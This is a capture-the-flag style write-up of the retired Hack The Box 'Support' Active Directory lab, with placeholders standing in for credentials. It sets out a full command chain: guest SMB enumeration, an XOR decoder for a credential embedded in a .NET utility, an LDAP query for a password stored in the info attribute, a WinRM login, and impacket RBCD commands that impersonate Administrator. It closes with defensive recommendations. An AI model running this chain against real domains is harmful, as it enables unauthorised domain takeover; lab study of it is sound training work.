Support — Embedded Credentials and RBCD Domain Compromise

At a glance

Field	Value
Difficulty	Easy
Target environment	Windows Active Directory lab; domain controller running Windows Server (build 10.0.20348)
Starting position	Unauthenticated network access with a guest-readable SMB share
Objective	Assess how a guest-readable utility, reversible credential obfuscation, exposed directory attributes, and delegated computer-object permissions combine into domain compromise
Outcome	Authenticated WinRM access, then nt authority\system on the domain controller via RBCD

Summary

Support is an Easy-rated Hack The Box Windows Active Directory lab. A guest-readable SMB share exposes a .NET utility whose LDAP service credential is hidden behind a reversible transformation; the recovered credential enables full directory enumeration, which discloses a second plaintext password in a user’s info attribute. That password yields WinRM access, and a group membership granting GenericAll over the domain-controller computer object opens a resource-based constrained delegation (RBCD) path to Administrator. Target identifiers, account names, credential values, and artifacts are replaced with role-based placeholders; command syntax is preserved.

Attack path: Guest SMB share → embedded credential recovery from a .NET binary → LDAP enumeration → plaintext info attribute password → WinRM access → GenericAll on the domain-controller object → RBCD impersonation of Administrator → nt authority\system

Context and Objective

• Target: a Windows Active Directory lab domain (<DOMAIN>) whose domain controller runs Windows Server (build 10.0.20348).
• Exposed services: standard Active Directory services, including SMB, LDAP, and WinRM.
• Starting position: unauthenticated network access with a guest-readable SMB share.
• Objective: assess how a leaked client utility, weak credential protection, directory-data exposure, and delegated computer-object permissions combine into domain compromise.
• Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

1. Guest-Readable SMB Share

Observation: unauthenticated (guest) SMB enumeration reveals a share readable without credentials.

Action: enumerate shares as a guest, then list the readable share’s contents.

nxc smb <DOMAIN> -u 'a' -p '' --shares

<TOOL_SHARE>   READ

smbclient //<DOMAIN>/<TOOL_SHARE> -U '%' -c 'ls'

<UTILITY_ARCHIVE>

Significance: a share readable by unauthenticated guests exposes internal compiled tooling to anyone on the network.

Result: the guest-readable share yields a .NET utility archive for offline analysis.

2. Recover the Embedded LDAP Credential

Observation: <UTILITY_ASSEMBLY> is a .NET assembly that queries LDAP using a hardcoded, obfuscated password.

Action: inspect the assembly (strings or a decompiler) and reverse the transformation offline. The decompiled routine stores an encoded value and a static key, then applies a reversible byte operation:

private static string enc_password = "<ENCODED_VALUE>";
private static byte[] key = Encoding.ASCII.GetBytes("<XOR_KEY>");

array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);

Reversing the routine recovers the credential:

data = base64.b64decode("<ENCODED_VALUE>")
key = b"<XOR_KEY>"
result = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])

Validating the recovered credential over LDAP proves recovery:

nxc ldap <DOMAIN> -u '<LDAP_USER>' -p '<LDAP_PASSWORD>'

[+] <DOMAIN>\<LDAP_USER>:<LDAP_PASSWORD>

Significance: a static algorithm and an embedded key provide no meaningful protection — any user who can read the binary can reverse it. The ^ 0xDF constant against a repeating key is trivially reproducible.

Result: the LDAP service credential is recovered and validated, granting full directory enumeration.

3. LDAP Enumeration Discloses a Directory-Stored Password

Observation: with the LDAP service credential, full directory enumeration is possible; a user object exposes a plaintext password in its info attribute.

Action: query the directory for the info attribute, then validate the disclosed credential.

ldapsearch -x -H ldap://<DOMAIN> \
  -D '<LDAP_USER>@<DOMAIN>' \
  -w '<LDAP_PASSWORD>' \
  -b '<BASE_DN>' \
  '(objectClass=user)' info sAMAccountName | grep -A2 "info:"

sAMAccountName: <LAB_USER>
info: <LAB_USER_PASSWORD>

nxc smb <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>'

[+] <DOMAIN>\<LAB_USER>:<LAB_USER_PASSWORD>

Significance: the info attribute is readable by any authenticated domain user by default, so a password placed there is exposed to every account in the domain.

Result: a plaintext account password is recovered from the directory and validates over SMB.

4. WinRM Access

Observation: the recovered account has remote-management access.

Action: confirm WinRM access, then open an interactive shell.

nxc winrm <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>'

[+] <DOMAIN>\<LAB_USER>:<LAB_USER_PASSWORD> (Pwn3d!)

evil-winrm -i <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>'

Significance: WinRM provides an authenticated interactive shell and the first foothold on the domain controller.

Result: WinRM access is confirmed as <LAB_USER>.

5. Domain Privilege Escalation — RBCD

Observation: <LAB_USER> belongs to a group with GenericAll over the domain-controller computer object. GenericAll includes write access to msDS-AllowedToActOnBehalfOfOtherIdentity, the attribute that governs resource-based constrained delegation.

Action: enumerate the directory relationship with BloodHound, then perform the delegation chain.

bloodhound-ce-python -d <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' -c all -ns <TARGET_IP>

Add an attacker-controlled computer account:

impacket-addcomputer -method SAMR \
  -computer-name '<ATTACKER_COMPUTER>$' \
  -computer-pass '<ATTACKER_COMPUTER_PASSWORD>' \
  -dc-host <DC_FQDN> \
  -domain-netbios <DOMAIN_NETBIOS> \
  '<DOMAIN>/<LAB_USER>:<LAB_USER_PASSWORD>'

Configure RBCD to delegate from the attacker computer to the domain controller:

impacket-rbcd \
  -delegate-from '<ATTACKER_COMPUTER>$' \
  -delegate-to '<DC_COMPUTER>$' \
  -action 'write' \
  '<DOMAIN>/<LAB_USER>:<LAB_USER_PASSWORD>'

[*] Delegation rights modified successfully!
[*] <ATTACKER_COMPUTER>$ can now impersonate users on <DC_COMPUTER>$ via S4U2Proxy

Request a service ticket impersonating Administrator:

getST.py \
  -spn 'cifs/<DC_FQDN>' \
  -impersonate 'Administrator' \
  '<DOMAIN>/<ATTACKER_COMPUTER>$:<ATTACKER_COMPUTER_PASSWORD>' \
  -dc-ip <TARGET_IP>

[*] Saving ticket in <TICKET_CCACHE>

Use the ticket for privileged access:

export KRB5CCNAME=<TICKET_CCACHE>
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>

Microsoft Windows [Version 10.0.20348.859]
C:\Windows\system32> whoami
nt authority\system

Significance: write access to msDS-AllowedToActOnBehalfOfOtherIdentity lets an attacker configure RBCD and impersonate arbitrary users — including Administrator — on the target computer without exploiting any software vulnerability.

Result: the delegated ticket yields nt authority\system on the domain controller.

Challenges and Decisions

Challenge	Decision	Rationale
Credential hidden behind a reversible transformation	Analyzed the assembly statically	Reversing the stored algorithm and key recovered the credential
Privilege escalation without a CVE	Abused the granted write permission to configure RBCD	Only a misconfigured delegation permission was required, not a software flaw

Outcome

The evidence establishes authenticated WinRM access as <LAB_USER> and nt authority\system on the domain controller through resource-based constrained delegation. The directory relationship was recorded without reproducing tool output.

Lessons and Recommendations

Each finding pairs an observed root cause with its demonstrated impact and a prioritized action. None of the actions below was re-tested in the lab.

1. Do not embed credentials in client binaries. The LDAP service credential sat behind a static algorithm and an embedded key, so anyone who could read the utility could recover it. Recommendation: store service credentials in a secrets manager or Windows Credential Manager, or move to certificate-based LDAP binding.
2. Never store passwords in directory attributes. A plaintext password in the info attribute was readable by every authenticated domain user and yielded WinRM access. Recommendation: keep secrets out of info, description, and comment, and restrict read access with the attribute’s security descriptor.
3. Audit write permissions on computer objects. GenericAll over the domain-controller object included write access to msDS-AllowedToActOnBehalfOfOtherIdentity, enabling RBCD impersonation of Administrator. Recommendation: remove unnecessary permissions on computer objects and run BloodHound regularly to find such paths.
4. Restrict guest-accessible shares. A share readable by unauthenticated guests exposed compiled internal tooling. Recommendation: require authentication and keep internal utilities out of guest-readable shares.

References

• Hack The Box — Support (retired machine)
• msDS-AllowedToActOnBehalfOfOtherIdentity attribute (Microsoft Learn)
• info attribute (Microsoft Learn)
• smbclient — Samba manual page
• ldapsearch — OpenLDAP manual page
• strings — GNU Binutils documentation
• NetExec
• BloodHound
• Impacket
• Evil-WinRM